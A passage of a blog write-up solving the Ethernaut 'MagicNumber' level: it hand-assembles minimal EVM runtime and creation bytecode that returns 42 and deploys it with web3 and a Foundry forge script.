<td>6080</td><td>60</td><td>PUSH1</td><td>80</td><td>Memory pointer 0x80</td></tr>
<tr>
<td>f3</td><td>f3</td><td>RETURN</td><td></td><td>Return 32 bytes from memory pointer 0x80</td></tr>
</tbody>
</table>
</div><p>So here is our full runtime bytecode (smart contract code): <code>602a60805260206080f3</code>. 6 opcodes and a total of 10 bytes.</p>
<p>Now, we need to handle the creation code, so we can deploy this super tiny useless contract.</p>
<h3 id="heading-creation-bytecode">Creation bytecode</h3>
<p>Again, let's start with the absolute minimum we'll need to deploy our contract:</p>
<ol>
<li><p>Store the runtime bytecode in memory;</p>
</li>
<li><p>Return the runtime bytecode.</p>
</li>
</ol>
<p>In raw bytecode, we can write it like this:</p>
<ol>
<li>Using <code>CODECOPY</code> to store the runtime bytecode in memory: <code>codecopy(value, position, destination)</code></li>
</ol>
<div class="hn-table">
<table>
<thead>
<tr>
<td>BYTECODE</td><td>OPCODE</td><td>VALUE</td><td>COMMENT</td></tr>
</thead>
<tbody>
<tr>
<td>600a</td><td>60</td><td>PUSH1</td><td>0a</td><td>Push 10 bytes (runtime code size)</td></tr>
<tr>
<td>600c</td><td>60</td><td>PUSH1</td><td>0c</td><td>Copy from memory position at index 12 (initialization code takes 12 bytes, runtime comes after that)</td></tr>
<tr>
<td>6000</td><td>60</td><td>PUSH1</td><td>00</td><td>Paste to memory slot 0</td></tr>
<tr>
<td>39</td><td>39</td><td>CODECOPY</td><td></td><td>Store runtime code at memory slot 0</td></tr>
</tbody>
</table>
</div><ol start="2">
<li>Using <code>RETURN</code> to return the 10 bytes runtime bytecode from memory starting at offset 22: <code>return(pointer, size)</code></li>
</ol>
<div class="hn-table">
<table>
<thead>
<tr>
<td>BYTECODE</td><td>OPCODE</td><td>VALUE</td><td>COMMENT</td></tr>
</thead>
<tbody>
<tr>
<td>600a</td><td>60</td><td>PUSH1</td><td>0a</td><td>10 bytes in hexadecimal</td></tr>
<tr>
<td>6000</td><td>60</td><td>PUSH1</td><td>00</td><td>Memory pointer 0</td></tr>
<tr>
<td>f3</td><td>f3</td><td>RETURN</td><td></td><td>Return 10 bytes from memory pointer 0</td></tr>
</tbody>
</table>
</div><p>Here is the full creation/deployment bytecode: <code>600a600c600039600a6000f3</code>.</p>
<p>And concatenating the two and adding <code>0x</code> in front, we get the following bytecode: <code>0x600a600c600039600a6000f3602a60805260206080f3</code>.</p>
<h2 id="heading-solution">Solution</h2>
<p>Now that we have our raw bytecode ready, we can deploy the contract.</p>
<h3 id="heading-in-the-browsers-console">In the browser's console</h3>
<pre><code class="lang-javascript"><span class="hljs-keyword">const</span> receipt = <span class="hljs-keyword">await</span> web3.eth.sendTransaction({
  <span class="hljs-attr">from</span>: player,
  <span class="hljs-attr">data</span>: <span class="hljs-string">"0x600a600c600039600a6000f3602a60805260206080f3"</span>,
});
<span class="hljs-keyword">await</span> contract.setSolver(receipt.contractAddress);
</code></pre>
<p>If you want to test it, you can use the following interface in Remix:</p>
<pre><code class="lang-solidity"><span class="hljs-class"><span class="hljs-keyword">interface</span> <span class="hljs-title">IMeaningOfLife</span> </span>{
  <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">whatIsTheMeaningOfLife</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">uint256</span></span>)</span>;
}
</code></pre>
<p>It will return 42. Of course, you could give any name to this function, it will return 42 regardless. This is simply an interface.</p>
<h3 id="heading-with-foundry-using-forge">With Foundry using <code>forge</code>:</h3>
<p>Let's prepare our script accordingly:</p>
<pre><code class="lang-solidity"><span class="hljs-comment">// SPDX-License-Identifier: MIT</span>
<span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> ^0.8.20;</span>

<span class="hljs-keyword">import</span> {<span class="hljs-title">Script</span>, <span class="hljs-title">console2</span>} <span class="hljs-title"><span class="hljs-keyword">from</span></span> <span class="hljs-string">"forge-std/Script.sol"</span>;

<span class="hljs-class"><span class="hljs-keyword">interface</span> <span class="hljs-title">IMagicNumber</span> </span>{
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">setSolver</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> _solver</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span></span>;
}

<span class="hljs-class"><span class="hljs-keyword">interface</span> <span class="hljs-title">IMeaningOfLife</span> </span>{
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">whatIsTheMeaningOfLife</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">uint256</span></span>)</span>;
}

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">PoC</span> <span class="hljs-keyword">is</span> <span class="hljs-title">Script</span> </span>{
    <span class="hljs-comment">// Replace with your Magic Number instance</span>
    IMagicNumber magicNumber <span class="hljs-operator">=</span>
        IMagicNumber(<span class="hljs-number">0x852e71dDefd3c88Dd7bF73ABcACAeDaABbce5ddE</span>);

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">run</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> </span>{
        <span class="hljs-keyword">uint256</span> deployer <span class="hljs-operator">=</span> vm.envUint(<span class="hljs-string">"PRIVATE_KEY"</span>);
        vm.startBroadcast(deployer);

        <span class="hljs-keyword">bytes</span>
            <span class="hljs-keyword">memory</span> bytecode <span class="hljs-operator">=</span> <span class="hljs-string">hex"600a600c600039600a6000f3602a60805260206080f3"</span>;
        <span class="hljs-keyword">address</span> solver;

        <span class="hljs-keyword">assembly</span> {
            solver <span class="hljs-operator">:=</span> <span class="hljs-built_in">create</span>(<span class="hljs-number">0</span>, <span class="hljs-built_in">add</span>(bytecode, <span class="hljs-number">0x20</span>), <span class="hljs-built_in">mload</span>(bytecode))
        }
        <span class="hljs-keyword">uint256</span> meaningOfLife <span class="hljs-operator">=</span> IMeaningOfLife(solver).whatIsTheMeaningOfLife();
        <span class="hljs-built_in">require</span>(meaningOfLife <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">42</span>, <span class="hljs-string">"Not 42"</span>);

        console2.log(<span class="hljs-string">"Solver deployed at"</span>, solver);
        console2.log(<span class="hljs-string">"What is the meaning of life?"</span>, meaningOfLife);

        magicNumber.setSolver(solver);

        vm.stopBroadcast();
    }
}
</code></pre>
<p>You can use the following command:</p>
<pre><code class="lang-bash">forge script script/18_MagicNumber.s.sol:PoC --rpc-url sepolia --broadcast --verify --etherscan-api-key <span class="hljs-variable">$ETHERSCAN_API_KEY</span>
</code></pre>
<p>And that's it! We have successfully deployed the contract and solved the level.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1713517267075/bf46ac36-a981-4a74-9810-7a5808efc7a6.png" alt /></p>
<p><strong>🎉 Level completed 🎉</strong></p>
<h2 id="heading-takeaway">Takeaway</h2>
<ul>
<li><p>How the EVM and opcodes work at a low level.</p>
</li>
<li><p>From low level to high level: Bytecode &gt; Yul/Assembly &gt; Solidity.</p>
</li>
</ul>
<h2 id="heading-reference">Reference</h2>
<ul>
<li><p>EVM opcodes: <a target="_blank" href="https://www.evm.codes/">https://www.evm.codes/</a></p>
</li>
<li><p>Simple bytecode contract: <a target="_blank" href="https://www.youtube.com/watch?v=0qQUhsPafJc">https://www.youtube.com/watch?v=0qQUhsPafJc</a></p>
</li>
</ul>
<hr />
<p>You can find all the codes, challenges, and their solutions on my GitHub: <a target="_blank" href="https://github.com/Pedrojok01/Ethernaut-Solutions/blob/main/solutions/01_Fallback.md">https://github.com/Pedrojok01/Ethernaut-Solutions/</a></p>
]]></content:encoded></item></channel></rss>